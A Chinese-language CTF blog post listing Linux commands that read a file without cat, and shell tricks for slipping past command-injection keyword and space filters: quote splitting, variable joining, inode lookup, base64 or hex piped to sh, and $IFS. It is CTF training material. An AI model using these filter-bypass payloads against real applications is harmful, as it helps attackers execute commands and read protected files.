侧边栏壁纸
  • 累计撰写 19 篇文章
  • 累计收到 4 条评论
CTF

命令注入(RCE)中读取内容的各种操作

eson
2024-03-20 / 0 评论 / 224 阅读 / 正在检测是否收录...

读取内容的命令

正常的文件内容读取命令,我们一般都采用cat,这个大家都是比较熟悉的,但是在CTF题目里一般不会让你那么简单就得到flag的,所以会加一些过滤,咱们就来先看一看linux下读取文件内容的姿势到底有哪些吧!

tac

tac是从最后一行开始网上读取文件内容,我们先来正常读取 test 这个文件的内容

[root@localhost]# cat test
aaaa
bbbb
cccc

再来看一下tac命令读取的内容

[root@localhost]# tac test
cccc
bbbb
aaaa

more

more,是linux的一个命令,类似cat命令,会以一页一页的显示,方便使用者逐页阅读,但是当内容过少的时候你感觉不出来它和cat有什么区别。

[root@localhost]# more test
aaaa
bbbb
cccc

less

less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。和more一样,当文件内容过少的时候你也感觉不出它和cat有什么区别,但是当你在命令行输入的时候就不同了,命令行里会直接进入一个预览界面,而做CTF的时候是完全感觉不出来的。

head

head就像它的名字一样的浅显易懂,它是用来显示开头某个数量的文字区块,可以使用参数指定显示开头多少行,但是读取flag不需要加参数,毕竟flag都只在第一行就显示了。

[root@localhost]# head test
aaaa
bbbb
cccc

tail

tailhead简直一模一样,只不过它是用来显示尾部多少行的,虽然它还有一个功能是实时监控文件变化,但是跟咱们今天要研究的方向无关,这里不多测试了。

[root@localhost]# tail test
aaaa
bbbb
cccc

nl

nl的功能是带行号显示文件内容

[root@localhost]# nl test
     1  aaaa
     2  bbbb
     3  cccc

rev

rev 行的读取顺序不变,但是每一行都是倒序读取过来的,这里演示可能看不太明显。你能理解这句话的意思就行,然后配合python的[::-1]再反过来就可以了。

[root@localhost]# rev test
aaaa
bbbb
cccc

od

od :以二进制方式读取文件内容,往往配合参数使用。

[root@localhost]# od -a  -c -d test
0000000   a   a   a   a  nl   b   b   b   b  nl   c   c   c   c  nl
          a   a   a   a  \n   b   b   b   b  \n   c   c   c   c  \n
          24929   24929   25098   25186    2658   25443   25443      10
0000017

xxd

xxd 以二进制方式读取文件内容,但是多数原生linux中不会自带这个工具,所以大概率用不上,这里不做演示了。

sort

sort 主要用于字符排序,可以利用它来查看文件内容,算是变相利用了。

[root@localhost]# sort test
aaaa
bbbb
cccc

uniq

uniq 报告或删除文件中重复的行,也算是变相利用。

[root@localhost]# uniq test
aaaa
bbbb
cccc

file

主要是利用 -f 来报错出文件内容,因为咱们的内容基本上都不是可执行的linux命令,所以使用file来读取的时候会出错,使用-f来显示报错内容,就可以达到查看文件内容的目的了。

[root@localhost]# file -f test
aaaa: cannot open (No such file or directory)
bbbb: cannot open (No such file or directory)
cccc: cannot open (No such file or directory)

grep

这也是个骚操作,先来看看基本利用,等下再来说正式的利用方法。

[root@localhost]# grep aa test
aaaa

上面是在test这里文件里面查找aa字符,会把带有aa的一整行内容显示出来,那我们搜索flag文件里面的f不就得到想要的东西了么?

[root@localhost]# grep f flag
flag{123456}

fmt

一个功能很强大的命令,单纯的用它来显示flag有点屈才了

[root@localhost]# fmt test
aaaa bbbb cccc

利用字符恢复cat

[root@localhost]# c''at flag
flag{123456}
[root@localhost]# c$1at flag
flag{123456}
[root@localhost]# ca\t flag
flag{123456}

屏蔽了flag字符

先来个骚操作,一套组合拳,利用inum读取内容

[root@localhost]# ls -i
85 file100  73 flag  75 npc  74 test

可以看到,我们想读取的flag的inum是73

[root@localhost]# cat `find ./ -inum 73`
flag{123456}

然后就是常规操作,利用变量绕过关键字检测

[root@localhost]# a=fl;b=ag;cat $a$b
flag{123456}

再来个利用base64编码绕过,Y2F0IGZsYWc=解码后是cat flag

[root@localhost]# echo Y2F0IGZsYWc= | base64 -d | sh
flag{123456}

利用'绕过

[root@localhost]# cat fl''ag
flag{123456}

利用\绕过

[root@localhost]# cat fl\ag
flag{123456}

利用变量绕过

[root@localhost]# cat fl$1ag
flag{123456}

利用十六进制绕过,这台电脑也没安装xxd,如果安装的话可以正常回显

[root@localhost]# echo 63617420666c6167 | xxd -r -p | sh
-bash: xxd: 未找到命令

屏蔽了空格

<绕过

[root@localhost]# cat<flag
flag{123456}

$IFS$9绕过

[root@localhost]# cat$IFS$9flag
flag{123456}

${IFS}绕过

[root@localhost]# cat${IFS}flag
flag{123456}
2

评论 (0)

取消